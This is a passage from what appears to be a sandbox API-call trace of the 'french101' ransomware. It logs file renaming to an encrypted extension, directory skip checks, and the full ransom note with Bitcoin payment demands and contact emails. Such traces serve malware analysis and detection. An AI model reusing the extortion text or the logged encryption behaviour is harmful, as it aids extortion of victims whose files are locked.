lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0277.563] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.563] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.563] CloseHandle (hObject=0x35c) returned 1 [0277.570] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1031\\JmA=t=jIdXjmhA6cLiO1V1nTqP88o87=3eaaX4nbfpc7Fk.french101" (normalized: "c:\\588bce7c90097ed212\\1031\\jma=t=jidxjmha6clio1v1ntqp88o87=3eaax4nbfpc7fk.french101")) returned 1 [0277.573] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\JmA=t=jIdXjmhA6cLiO1V1nTqP88o87=3eaaX4nbfpc7Fk.french101" (normalized: "c:\\588bce7c90097ed212\\1031\\jma=t=jidxjmha6clio1v1ntqp88o87=3eaax4nbfpc7fk.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0277.574] SetFileTime (hFile=0x35c, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0277.574] CloseHandle (hObject=0x35c) returned 1 [0277.574] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\JmA=t=jIdXjmhA6cLiO1V1nTqP88o87=3eaaX4nbfpc7Fk.french101", dwFileAttributes=0x80) returned 1 [0277.574] CloseHandle (hObject=0x35c) returned 0 [0277.574] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.574] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.574] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.574] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.574] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0277.574] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.574] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.574] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0277.574] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.575] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0277.575] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0277.575] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0277.575] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0277.575] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0277.575] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1031\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0277.575] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0277.575] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0277.575] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0277.575] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0277.575] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0277.576] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0277.576] ReadFile (in: hFile=0x35c, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0277.576] CloseHandle (hObject=0x35c) returned 1 [0277.576] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.576] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.576] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.576] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.576] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.576] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.576] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.576] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0277.576] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.576] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.576] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0277.576] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.577] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.577] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0277.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0277.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.577] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0277.578] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0277.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0277.578] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0277.578] GetLastError () returned 0x12 [0277.578] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0277.578] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.578] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.578] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.578] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.578] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0277.578] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.578] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.578] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0277.578] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.579] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da2d0 [0277.579] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0277.579] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.579] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0277.579] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0277.579] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.579] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0277.579] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0277.579] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0277.579] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.579] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0277.579] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.579] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.579] FindNextFileW (in: hFindFile=0x6da2d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.580] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.580] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.580] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.580] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.580] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.580] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.580] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0277.580] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.580] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.580] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0277.580] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.580] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.580] FindNextFileW (in: hFindFile=0x6da2d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.580] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.580] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.580] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.580] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.580] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.581] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.581] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0277.581] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.581] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.581] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0277.581] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.581] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.581] FindNextFileW (in: hFindFile=0x6da2d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.581] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.581] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.581] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.581] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.581] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.581] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.581] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0277.581] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.581] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.582] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0277.582] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.582] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.582] FindNextFileW (in: hFindFile=0x6da2d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.582] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.582] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.582] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.582] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.582] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.582] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.582] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0277.582] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.582] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.582] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0277.582] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.582] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.583] FindNextFileW (in: hFindFile=0x6da2d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.583] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.583] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.583] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.583] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.583] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.583] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.583] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0277.583] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.583] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.583] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0277.583] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.583] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.583] FindNextFileW (in: hFindFile=0x6da2d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0277.583] GetLastError () returned 0x12 [0277.583] FindClose (in: hFindFile=0x6da2d0 | out: hFindFile=0x6da2d0) returned 1 [0277.584] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0277.584] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0277.584] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0277.584] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0277.584] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0277.584] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.584] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0277.584] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0277.584] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0277.584] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.584] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0277.584] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.584] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.584] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.584] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.584] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.585] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.585] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0277.585] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.585] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.585] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0277.585] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.585] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.585] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1032", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1032") returned 1 [0277.585] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0277.585] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0277.585] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.585] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0277.585] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0277.585] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0277.585] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.585] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0277.585] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.586] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0277.589] GetLastError () returned 0x3 [0277.589] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.589] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cd90, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0277.589] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0277.589] GetLastError () returned 0x2 [0277.589] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.589] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cd90, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0277.590] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0277.590] GetLastError () returned 0x2 [0277.590] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c90, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0277.590] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0277.590] GetLastError () returned 0x2 [0277.590] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c90, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0277.590] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0277.591] GetLastError () returned 0x2 [0277.591] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0270, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0277.591] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0277.591] GetLastError () returned 0x2 [0277.591] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c90, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\ⷘm°") returned 6 [0277.591] 